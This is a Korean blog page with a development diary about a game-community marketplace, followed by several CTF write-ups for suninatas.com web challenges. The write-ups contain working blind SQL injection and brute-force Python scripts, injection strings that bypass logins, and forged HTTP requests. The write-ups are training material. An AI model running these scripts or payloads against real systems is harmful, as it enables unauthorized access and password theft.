늘모자란, 개발

늘모자란, 개발


시작하며


사이트를 만들고 서비스하면 잘 쓰이는 기능도 있는반면, 잘 쓰이지 않는 기능도 존재하는 법입니다.
가판대는 싴갤러스 가장 초기에 만들어진 기능중 하나였으나 사장된(...) 기능입니다.


꽤 손을 많이 탄 기능이고 애착이 있기때문에, 어떻게든 활성화 시킬 수 없을까 하고 여러 고민을 해보게 되었습니다.
(사실, 네이버 카페보다 훨씬 편하다고 생각했기 때문입니다.)

그래서 예전처럼 마구자비로 개발하기보단 생각과 고민을 충분히 해보기로 했습니다.

문제분석과 시도

1. 이름

처음엔 '브라우니' 라는 이름의 메뉴-개인상점 브라우니에서 착안-였으나 사용자들이 어떤 기능인지 잘 모를것 같다는 생각을 반영해, '싴갤러스 가판대'로 이름을 변경했습니다.

2. 편의
처음엔 스크린샷을 넣을 수 없었습니다. 당연히 글로 모든걸 설명해야했습니다. 이는 의도된것으로 스크린샷 한장만 올리는게 아니고, 옵션을 모두 치게 하면 검색이 더 잘될것이라 판단한것입니다만.. 세상에 누가 내구에 색상같은걸 다 치고 있을까요..
그래서 스크린샷을 넣을 수 있도록 개선하였습니다. 또한, 마우스클릭만으로도 쉽게 금액을 추가할 수 있도록 했습니다. 은행앱에서 착안을 해봤습니다

강점 / 약점 분석

당연하지만, 위 두가지를 개선(?) 한다고 해서 당장 효과를 볼 것이라고 생각하지 않았습니다.
롤 모델을 정해 분석해보기로 했고, 당연히 가장 활성화된 마거카를 대상으로 하였습니다.



0. 인증된 사용자(강점)
네이버 카페는 가입절차가 복잡하지 않아 자유롭게 가입할 수 있습니다. 하지만, 해당 캐릭터가 실존하는지, 아이디를 돌려가며 장난을 치는지 알 수 없습니다.
싴갤러스는 특수한 경우(프록시 등)를 제외하면 부계정 사용시 특별조등 기능 사용에 지장이 오기때문에, 인증된 사용자만이 서비스를 이용하고 있다고 할 수 있습니다. 가입의 편의성보단 아무래도 이쪽에 무게가 실릴것 같았습니다.

1. 연락망(약점)

네이버 카페에는 댓글 및 쪽지가 존재하며 타 기기를 이용하는데 제약이 없어 PC에 한정되지 않아 수월하게 대상과 거래를 진행할 수 있습니다.
하지만, 싴갤러스는 인게임 캐릭터에게 쪽지를 보내는 기능이 존재하나 일방적인 기능이어서, 수월한 대화를 진행하기는 어렵습니다.
따라서, 기능에 대한 보완을 하기 위해 신규개발이 필요하다 생각했습니다.

- 사이트 자체 쪽지 기능 개발
- 어플리케이션을 이용한 Push(쪽지 연동)

2. 레이아웃(약점)

네이버 카페는 기본적으로 게시판입니다. 싴갤러스 가판대는 하나의 아이템을 하나의 글로 등록하는 방식을 취할것이기때문에 많은 데이터가 올라올 수 있고, 오히려 가독성을 저하시키는 효과를 가져올 수 있습니다. 아울러 모바일 레이아웃까지 동시에 생각해야했기 때문에 많은 고민이 있었습니다.

3. 기능(강점)

네이버 카페는 위지윅에디터를 이용한 자유로운 글 편집이 가능합니다.

하지만 그외 실제 게임에 도움이 되는 기능은 존재하지 않습니다.
예를 들면, 지정염색앰플을 판매한다 가정하면, 지염 색상을 싴갤러스에서 검색 후, 스크린샷을 찍어 올려 거래하고 있음을 확인했습니다.
계속해서 말하자면, 유저는 결국 '용지염 다수' 라는 글 제목으로 글을 쓸 수밖에 없고, 구매자는 클릭 후 자신이 원하는 색상을 찾은 후에 없으면 성과없이 뒤로 돌아가는 불필요한 과정이 존재합니다.

따라서, 보는 유저나 쓰는 유저 둘다 편하며, 정확한 아이템 이름 및 표기해줄 수 있도록 하는것을 강점으로 하면 될 것 같았습니다.
그래서, 다음 개발이 필요시 되었습니다.

- 유저 오타 교정(데이터 분석을 기반)
- 아이템 이미지 삽입 기능
- 다수의 아이템을 편하고 빠르게 등록
- 아이템별 카테고리화 (카테고리별 검색 및 목록 필터)

강점 및 약점 분석을 다 마친것 같으니 개발하면서 디테일을 설정하기로 했습니다.

개발진행

연락망

레이아웃을 만들때 했던 고민을 또 해야 했습니다.
추가 개발이지만, 결국 독립적으로 사용될 수 있는 기능을 만드는것이기때문에 필요한 사항을 정리해봤습니다.

- 발신함 / 수신함
- 쪽지 발송
- 삭제/신고/차단/보관
- 전달(?)

쪽지란것은 그냥 핑-퐁만 하면 되어서 구현에 어려움을 겪진않았습니다.
다만 악성유저에 대한 처리를 할 수 있도록 고려해야했습니다. 하지만 가판대를 위한 개발이었으므로, 우선사항에서 미뤘습니다.
왜냐면 단순히 차단이나 신고로 끝나는게 아니라, 관리자가 신고를 접수해 처리할 수 있는 기능을 추가로 개발해야되기때문입니다.
그 결과 다음과 같이 개발했습니다.


실제 사용자가 접속중일때 신규 쪽지가 왔다고 알려줘야되므로, 다음과 같이 3단계에 거친 작업이 필요했습니다.
웹서버 - 세션 - 푸시서버
세션을 따로 관리하고 있기때문에 세션을 얻고, 개인푸시를 진행하게 함으로서 웹소켓을 이용한 푸시를 구현하였습니다.
(추가로, 브라우저를 이용한 web push도 지원할 계획입니다. https에서만 가능해서 현재는 진행을 하지 못하고 있지만 ;D)

여기까지만 만들어놓고 즉시 앱 프로젝트를 진행했습니다.

앱 프로젝트는 Sparrow(참새) - 지저귀다 뭐 이런의미로 시작했습니다. (처음엔 그냥 직박구리로 하자고 했다가..)
개발은 iOS부터 했고, 이후에 Android를 개발했습니다. (9월 11일 출시했습니다)

이 과정은 YOKO.SO 프로젝트를 담당하셨던 라제폰님께서 전담해주셨습니다.
(다운로드는 플레이스토어나, 앱스토어에서 '싴갤러스'를 검색해 받으실 수 있습니다)



앱은 정말 쉬울 줄 알았습니다만 그렇게 생각하다가 큰 코다쳤습니다. 간단한 웹뷰앱이었는데도 공수가 많이 들었습니다.
대표적으로, 앱에서 로그인을 매번하게 할 수는 없었습니다. 저 같아도 그럼 안쓸거같아요.

싴갤러스에서는 따로 자동로그인을 지원하지 않았는데 앱을 위해서라도 로그인을 유지하는 기능이 필요하다고 생각하게 되었습니다.
자동로그인 기능은 결국 클라이언트에 정보를 남기는것이기때문에 보안상 문제가 생길 수 밖에 없고, 최대한 '덜 취약한' 형태로 구현하는것이 목적이었습니다.

실제 plaintext를 알고있다고해도, 어떤 방법으로 토큰이 생성되는지,
무작위 대입공격으로 유추할 수 없을정도로 긴 길이의 토큰을 생성해야하는 생각을 하면서 작업했습니다.
그리고 만약의 경우, 토큰을 복호화할 수 있는지 없는지에 대한 방법도 고민해보고.. 최대한 secure하게 작업하고 싶었습니다.
(물론 해쉬기때문에 쓸데없는 고민입니다)

몇차례 시행착오를 거쳐 자동로그인을 도입했습니다.



이 후, 앱을 위한 사이트 전체 CSS 수정이 있었고(대부분 모바일), 여전히 진행중입니다.
또한 푸시를 위한 디자인도 해야했는데 어떻게 하다보니 된것 같습니다 (대책 없는 설명이지만 정말 어쩌다보니 푸시를 순조롭게 넘은것 같습니다. 오픈소스의 위력을 다시한번 느끼기도 했습니다.)

어떻게 뚝딱 해치운 것 같지만, 아직 넘어야할 산이 두개나 남아 있죠.
바로 본기능인 가판대가 남았습니다. 가판대는 아직 시작도 안했기때문에, 작업 후 후기(?)로 찾아뵙겠습니다.



싴갤러스 - 하나의 기능 리뉴얼을 준비하며 (2)로 이어집니다
2016/09/14 19:21 2016/09/14 19:21
폼이고, 하드필터링 되어 있다

select / Union / or / white space / by / having 
from / char / ascii / left / right / delay / 0x ..........


힌트도 주어지는데


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->



즉 guest를 이용하면 될것 같다

다음과 같이 쿼리를 작성해본다. (id칸에)

admin'-- a


pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자

admin'and(len(pw)=10)-- a

하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2
import time

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

for i in range(1,10):
    for j in range(len(string)):
        data = "?id="
        data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j]))
        data = data + "&pw=1"
         req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers)
         response = urllib2.urlopen(req)
         res = response.read()

         if "OK" in res:
             print string[j]
             break
         time.sleep(0.1)
2016/09/08 16:42 2016/09/08 16:42
브루트포싱 문제이다.
admin계정은 0~9999의 비밀번호중 하나를 사용한다고 한다.

그냥.. 숫자를 막 넣어주기만 하면 되는거니 간단하게 짜보자

import urllib, urllib2

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

for i in range(10000):

    data = "id=admin&pw={}".format(str(i).zfill(4))
    print data
    req = urllib2.Request("http://suninatas.com/Part_one/web08/web08.asp", data, headers)
    response = urllib2.urlopen(req)

    if "Incorrect" not in response.read():
        print response.read()
        break



돌리다보면 나온다...
2016/09/08 16:24 2016/09/08 16:24
진짜 짜증났던 문제중하나인데.......... 아직도 어떻게 풀었는지 잘 모르겠다 ㅋㅋㅋㅋㅋㅋ
들어가면 대문짝만한 연예인사진들이 올라와있는데, 화면 중간쯤에 YES버튼이 있다. YES를 누르면 느리다고 다시하라고 한다.
새로고침해보려고 F5를 누르면 NO라고 한다. 키보드로 새로고침하지말라는거같은데 뭐 그것만 방법이 있는건 아니니..

일단 정공법은 다음과 같다.

document.href="http://suninatas.com/Part_one/web07/web07.asp";
frm.submit();


페이지를 새로 갱신 시킨이후에, 바로 폼을 submit하라는건데 진짜 잘안된다. 짜증만 난다.
그래서 나는 그냥 툴을 이용하기로 했다.

fiddler를 이용해서 두개 패킷을 묶은이후에 같이 replay시키면 바로 패스할 수 있다 (....)
2016/09/08 15:55 2016/09/08 15:55
여태까지가 몸풀기였다면 이제야 좀 문제같은 문제가 나온다

게시판 하나가 나오는데 대놓고 readme라고 나온다. 누르면 팝업이 하나 생성되고 쿼리가 보인다

"select szPwd from T_Web13 where  nIdx = '3' and szPwd = '"&pwd&"'"


1=1는 차단되있으므로 값을 TRUE로 만들어주기위해 다음과 같이 질의한다
(MSSQL에선 -- 를 적어주기만하면 안되고 뒤에 뭐라도 하나 적어줘야 한다. MSSQL맞겠지?;;)

' or 5>1 -- a


인증키가 나온다. 근데 정작 글은 못읽는다. 이게 뭐야..
이동된 URL을 보자.

http://suninatas.com/Part_one/web06/view.asp?num=3&passcode=[]


뭔가 나와는 있는데 안된다 이럴땐 보통 쿠키에 뭘 해놨을가능성이 높아 확인해보니,
auth%F5key라는 친구가 보인다. 당연히, 그대로 넣으면 안된다. 놀랍게도 게시판에 힌트가 있는데, 레퍼런스에 들어가면 md5로 인코딩하라고 친절히(...) 안내를 해준다

md5을 설정하고 들어가면 드디어 게시글을 읽을 수 있게 되는데 답은 안나와있다. 소스보기를 하면 폼 이름에 뭔가 있으니 그걸 이용해서 auth하면된다.
2016/09/08 15:42 2016/09/08 15:42
Check key value라고 적혀있고 아무것도 없는 폼이 하나 맞이해준다.

                        <script>
                            eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))        
                        </script>

<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->


위와같이 난독화된 코드가 있는데 아무래도 핵심인듯 보인다.

deobfuscator 를 통해 스크립트를 살려내보자

var digitArray = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

function PASS(n) {
  var result = '';
  var start = true;
  for (var i = 32; i > 0;) {
    i -= 4;
    var digit = (n >> i) & 0xf;
    if (!start || digit != 0) {
      start = false;
      result += digitArray[digit]
    }
  }
  return (result == '' ? '0' : result)
}


위에 힌트도 있겠다, 함수에 값을 넣어 돌려보자. 문자열이 하나 나오는데 넣으면 Auth key가 나온다.
2016/09/08 15:33 2016/09/08 15:33
UA를 조작하는 문제이다. 들어가면 나의 UA가 나와있는데, 소스에 힌트가 나와 있다.

<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->


그럼 UA를 조작해보자.

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 7
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


폼을 보내면 web04_ck.asp를 거치게 된다는걸 볼 수 있다. 골떄리는건 1씩오르질않는다. 50번 보내주자(-_-)
그 이후에 SuNiNaTaS로 UA를 바꿔서 질의한후 web04로 돌아가보자

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: SuNiNaTaS
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


그러면 Auth key가 등장한다.
2016/09/08 15:24 2016/09/08 15:24
풀면서 진짜 제일 황당했던 문제인데, 소스도 뭐고없다.



뭐 모르는게 있나하고 한참 찾아봤는데 그런게 아니었다. 이 문제의 요점은 그냥.. 흔히 발생할 수 있는 실수중하나를 알고 있냐는것이다
Notice Board란 바로 suninatas의 공지사항 보드를 의미한다.

바로 이곳
http://suninatas.com/board/list.asp?divi=notice


그런데 일반회원은 여기 글을 쓸 권한이 없다.
그렇다면 어찌해야할까? Q&A로 이동해서 write를 눌러보자

http://suninatas.com/board/write.asp?page=1&divi=Free


주소가 이렇게 바뀐다. 즉 write.asp에서 게시글을 작성한다는걸 알 수 있다.
주소를 살짝 바꿔보자

게시글을 쓸 수 있게 되고 아무 내용이나 쓰면 Auth key가 나온다
2016/09/08 15:18 2016/09/08 15:18
suninatas.com은 특이하게 아이프레임으로 소스를 넣어서 이동시키고 있다; 그래서 프레임소스보기로 소스를 봐야한다.
- 크롬에는 디폴트로 존재하지만 파이어폭스에선 따로 없어서 좀 불편하다.

문제2번은 폼을 패스하는 문제인데, 핵심 소스는 다음과 같다

<script>
    function chk_form(){
        var id = document.web02.id.value ;
        var pw = document.web02.pw.value ;
        if ( id == pw )
        {
            alert("You can't join! Try again");
            document.web02.id.focus();
            document.web02.id.value = "";
            document.web02.pw.value = "";
        }
        else
        {
            document.web02.submit();
        }
    }
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->


그러니까, chk_form을 패스하라는건데, 이건 그냥 폼 액션 주소를 따서 id와 pw를 같게 만들어서 보내주면 된다.

POST http://suninatas.com/Part_one/web02/web02.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 9
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web02/web02.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

id=1&pw=1


뭐 대략 이런느낌이다.
2016/09/08 15:13 2016/09/08 15:13
요새 못풀고 끙끙거리는 문제가 하나 있는데, 그것만 하다가 머리도 식힐겸 간단히 풀어보기로 했다.
웹 문제가 열문제밖에 없는 곳인데, 나는 리버싱 이런건 아직 잘 못하니까.. 열개만 풀어보기로 했다.
사실, writeup 이라고 하긴 좀 그런게 이미 문제는 다 풀었다. 결국 블로그에 쓰기위해 다시 푸는셈이다..ㅋㅋㅋ

<%
    str = Request("str")

    If not str = "" Then
        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2
        Response.write result
        If result = "admin" Then
            pw = "????????"
        End if
    End if
%>


suninatas 는 아무래도 iis 기반의 asp를 기반으로 하는듯 보인다. 첫번쨰 문제는 문자열을 이용한 문제인데 최종 완성되는 결과를 admin으로 만들어야한다.

문제에서 result1과 result2 로 문자열을 나누는데 이것들은 substr을 의미하는것이다. 결과적으로, result에 들어가는 aad로 replace되는값은 별로 신경쓰지 않아도 된다. (a하나만 넣어도 ad가 완성된셈)

그럼 남은 글자는 min인데 m은 어딜봐도 솟아날 구멍이 없다. 그래서 넣어주고, i는 in이 된다고 하니,

ami를 입력한다.
2016/09/08 15:05 2016/09/08 15:05